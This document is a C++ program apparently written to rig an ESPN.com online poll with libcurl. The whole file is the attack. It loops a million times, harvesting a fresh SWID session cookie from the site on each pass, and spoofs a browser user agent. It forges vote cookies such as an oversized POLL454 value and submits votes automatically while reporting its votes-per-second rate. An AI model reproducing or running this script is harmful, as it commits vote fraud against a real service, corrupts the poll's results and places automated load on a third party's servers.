#include <string>
#include <iostream>
#include <ctime>
#include "curl/curl.h"
using namespace std;
// Write any errors in here
static char errorBuffer[CURL_ERROR_SIZE];
// Write all expected data in here
static string buffer;
// This is the writer call back function used by curl
static int writer(char *data, size_t size, size_t nmemb,
std::string *buffer)
{
// What we will return
int result = 0;
// Is there anything in the buffer?
if (buffer != NULL)
{
// Append the data to the buffer
buffer->append(data, size * nmemb);
// How much did we write?
result = size * nmemb;
}
return result;
}
int main(int argc, char* argv[])
{
//curl objects
CURL *curl1;
CURLcode result1;
curl1 = curl_easy_init();
char ua[] = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0";
char url[] = "http://espn.go.com/crossdomain.xml";
char vurl1[] = "http://poll.espn.go.com/cgi/sz/poll.dll?goTo=http://espn.go.com/poll&domain=.go.com&questions=1&id=116468&qid=116379&service=SZ&count_0=2&expected_0=1&vote_0=404528";
char vurl2[] = "http://espn.go.com/poll/?POLL454=8000000000000000000000000000000000000000000000000000000000000";
string pcookie = " POLL454=8000000000000000000000000000000000000000000000000000000000000";
string cookie;
string swid;
string userAB;
size_t pos;
long start, end, totalsec;
int count;
start = time(NULL);
// Now set up all of the curl options
curl_easy_setopt(curl1, CURLOPT_ERRORBUFFER, errorBuffer);
curl_easy_setopt(curl1, CURLOPT_HEADER, 1);
curl_easy_setopt(curl1, CURLOPT_FOLLOWLOCATION, 0);
curl_easy_setopt(curl1, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl1, CURLOPT_WRITEDATA, &buffer);
curl_easy_setopt(curl1, CURLOPT_USERAGENT, ua);
cout << "Constructicon forming Devastator!" << endl;
for (int x = 0; x < 1000000; x++)
{
//Clear buffer for new session cookie
buffer.clear();
//we have to clear cookies here because it messes substr
curl_easy_setopt(curl1, CURLOPT_COOKIE, "\0");
//prepare to get a session
curl_easy_setopt(curl1, CURLOPT_URL, url);
//get a session id so we can pull the cookie off the buffer.
result1 = curl_easy_perform(curl1);
//cout << "buffer = " << result1 << " " << buffer;
if (result1 == CURLE_OK)
{
//calculate the two cookies we need.
pos = buffer.find("SWID=");
swid = buffer.substr(pos, 42);
userAB = " userAB=";
userAB.append(swid.substr(40,2));
swid.append(userAB);
//setup our session to hit the vote page
curl_easy_setopt(curl1, CURLOPT_COOKIE, swid.c_str());
curl_easy_setopt(curl1, CURLOPT_URL, vurl1);
result1 = curl_easy_perform(curl1);
//setup second vote url cookie
swid.append(pcookie);
curl_easy_setopt(curl1, CURLOPT_COOKIE, swid.c_str());
curl_easy_setopt(curl1, CURLOPT_URL, vurl2);
//send second vote url
result1 = curl_easy_perform(curl1);
}
count = x+1;
if (count % 100 == 0)
{
cout << count << " votes cast..." << endl;
}
}
curl_easy_cleanup(curl1);
end = time(NULL);
totalsec = (end - start);
if(totalsec > 0)
{
cout << "votes cast in: " << totalsec << " seconds." << endl;
cout << "At the rate of: " << count / totalsec << " votes a second" << endl;
}
}